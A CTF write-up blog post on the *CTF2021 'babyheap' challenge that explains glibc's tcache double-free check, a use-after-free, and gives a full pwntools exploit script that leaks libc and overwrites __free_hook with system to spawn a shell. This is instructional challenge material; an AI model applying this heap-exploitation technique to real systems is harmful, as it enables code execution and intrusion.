zoukankan      html  css  js  c++  java
  • *CTF2021-babyheap, new version of glibc 2.27

    New version

    The original tcache structure:

    /* We overlay this structure on the user-data portion of a chunk when
       the chunk is stored in the per-thread cache.  */
    typedef struct tcache_entry
    {
      struct tcache_entry *next;
    } tcache_entry;
    

    The new version:

    /* We overlay this structure on the user-data portion of a chunk when
       the chunk is stored in the per-thread cache.  */
    typedef struct tcache_entry
    {
      struct tcache_entry *next;
      /* This field exists to detect double frees.  */
      struct tcache_perthread_struct *key;
    } tcache_entry;
    

    And add tcache quantity limit:

    #define MAX_TCACHE_COUNT 127    /* Maximum value of counts[] entries.  */
    

    tcache_put:

    /* Caller must ensure that we know tc_idx is valid and there's room
       for more chunks.  */
    static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx)
    {
      tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
      assert (tc_idx < TCACHE_MAX_BINS);
    
      /* Mark this chunk as "in the tcache" so the test in _int_free will
         detect a double free.  */
     ** e->key = tcache;**
    
      e->next = tcache->entries[tc_idx];
      tcache->entries[tc_idx] = e;
      ++(tcache->counts[tc_idx]);
    }
    

    tcache_get:

    /* Caller must ensure that we know tc_idx is valid and there's
       available chunks to remove.  */
    static __always_inline void *
    tcache_get (size_t tc_idx)
    {
      tcache_entry *e = tcache->entries[tc_idx];
      assert (tc_idx < TCACHE_MAX_BINS);
      assert (tcache->entries[tc_idx] > 0);
      tcache->entries[tc_idx] = e->next;
      --(tcache->counts[tc_idx]);
      **e->key = NULL;**
      return (void *) e;
    }
    

    The function of '_int_free' adds a new check:

    #if USE_TCACHE
      {
        size_t tc_idx = csize2tidx (size);
        if (tcache != NULL && tc_idx < mp_.tcache_bins)
          {
            /* Check to see if it's already in the tcache.  */
            tcache_entry *e = (tcache_entry *) chunk2mem (p);
    
            /* This test succeeds on double free.  However, we don't 100%
               trust it (it also matches random payload data at a 1 in
               2^<size_t> chance), so verify it's not an unlikely
               coincidence before aborting.  */
            if (__glibc_unlikely (e->key == tcache))
              {
                tcache_entry *tmp;
                LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
                for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
    **              if (tmp == e)**
    **                malloc_printerr ("free(): double free detected in tcache 2");**
                    /* If we get here, it was a coincidence.  We've wasted a
                       few cycles, but don't abort.  */
              }
    
            if (tcache->counts[tc_idx] < mp_.tcache_count)
              {
                tcache_put (p, tc_idx);
                return;
              }
          }
      }
    #endif
    

    Analyze

    The add function can realize any serial number heap block allocation.

    UAF.

    The edit function starts editing from the address of the heap block address + 8, so the fd pointer cannot be tampered with by conventional methods.


    The function will apply for a 0x400 byte heap block. This will help us to create a small bin.

    到了这一步, 说明需要分配的是一块大的内存,或者 small bins 中找不到合适的chunk。于是,ptmalloc 首先会遍历 fastbins 中的 chunk,将相邻的 chunk 进行合并,并链接到 unsorted bin 中, 然后遍历 unsorted bin 中的 chunk,如果 unsorted bin 只有一个 chunk,并且这个 chunk 在上次分配时被使用过,并且所需分配的 chunk 大小属于 small bins,并且 chunk 的大小大于等于需要分配的大小,这种情况下就直接将该 chunk 进行切割,分配结束,否则将根据 chunk 的空间大小将其放入 smallbins 或是 large bins 中,遍历完成后,转入下一步。

    After getting the libc address, it is by modifying the fd pointer of tcache, and then attacking the '__free_hook' function to getshell.

    Exp

    from pwn import *
    
    local = 1
    
    binary = "./pwn"
    libc_path = './libc-2.29.so'
    port = ""
    
    if local == 1:
    	p = process(binary)
    else:
    	p = remote("node3.buuoj.cn",port)
    
    def dbg():
    	context.log_level = 'debug'
    
    context.terminal = ['tmux','splitw','-h']
    
    def add(index,size):
    	p.sendlineafter('>>','1')
    	p.sendlineafter('input index',str(index))
    	p.sendlineafter('input size',str(size))
    
    def edit(index,content):
    	p.sendlineafter('>>','3')
    	p.sendlineafter('input index',str(index))
    	p.sendafter('input content',content)
    
    def show(index):
    	p.sendlineafter('>>','4')
    	p.sendlineafter('input index',str(index))
    
    def free(index):
    	p.sendlineafter('>>','2')
    	p.sendlineafter('input index',str(index))
    
    def leavename(name):
    	p.recvuntil('>> 
    ')
    	p.sendline('5')
    	p.recvuntil('your name:
    ')
    	p.send(name)
    
    def showname():
    	p.recvuntil('>> 
    ')
    	p.sendline('6')
    
    def leak_libc(addr):
    	global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
    	libc = ELF(libc_path)
    	libc_base = addr - libc.sym['__malloc_hook']
    	print ("[*] libc base:",hex(libc_base))
    	__malloc_hook = libc_base + libc.sym['__malloc_hook']
    	system = libc_base + libc.sym['system']
    	binsh_addr = libc_base + libc.search(b'/bin/sh').__next__()
    	__free_hook = libc_base + libc.sym['__free_hook']
    	_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']
    
    
    for i in range(15):
    	add(i,0x60)
    
    for i in range(14):
    	free(i)
    
    leavename('lemon')
    
    show(7)
    __malloc_hook = u64(p.recvuntil('x7f')[-6:].ljust(8,b'x00')) - 752 - 96 - 0x10 - 0x10
    log.success("__malloc_hook:{}".format(hex(__malloc_hook)))
    leak_libc(__malloc_hook)
    
    
    add(10,0x10)
    add(11,0x10)
    free(11)
    
    payload = b'a' * 0x10 + p64(0x21) + p64(__free_hook - 0x8)
    edit(7,payload)
    
    add(0,0x10)
    add(1,0x10)
    
    edit(1,p64(system))
    
    payload = b'a' * 0x10 + p64(0x21) + b'/bin/shx00'
    edit(7,payload)
    
    gdb.attach(p)
    p.interactive()
    

    Reference

    https://mp.weixin.qq.com/s?__biz=MzU3ODc2NTg1OA==&mid=2247485857&idx=1&sn=1cf534df42999d5126fc3cf3b7fc8f9b&chksm=fd711cecca0695faf313845fb30671cd61feee2a62ad9b13f213d4de7a5b64c0dfbb6d2ac31f&xtrack=1&scene=0&subscene=10000&clicktime=1611107032&enterid=1611107032&ascene=7&devicetype=android-29&version=2700163b&nettype=3gnet&abtest_cookie=AAACAA%3D%3D&lang=zh_CN&exportkey=AQcW%2FACVHProXmWAQV70QJg%3D&pass_ticket=1Rez77FG%2F4Cz0T%2FC5fJVQShnZutIPpD2DYMup1WSLHtZtN03xzggQfvMuVZ538fE&wx_header=1
    https://www.anquanke.com/post/id/172886#h2-8
    https://www.anquanke.com/post/id/219292

  • 相关阅读:
    C#泛型类的简单创建与使用
    线程、委托、lambda运算符的简单示例
    异步编程中使用帮助类来实现Thread.Start()的示例
    C#操作INI配置文件示例
    C#“简单加密文本器”的实现
    Java设计模式之模板模式(Template )
    java提取出一个字符串里面的Double类型数字
    阿里云服务器配置SSL证书成功开启Https(记录趟过的各种坑)
    Gson解决字段为空是报错的问题
    shiro 单点登录原理 实例
  • 原文地址:https://www.cnblogs.com/lemon629/p/14327460.html
Copyright © 2011-2022 走看看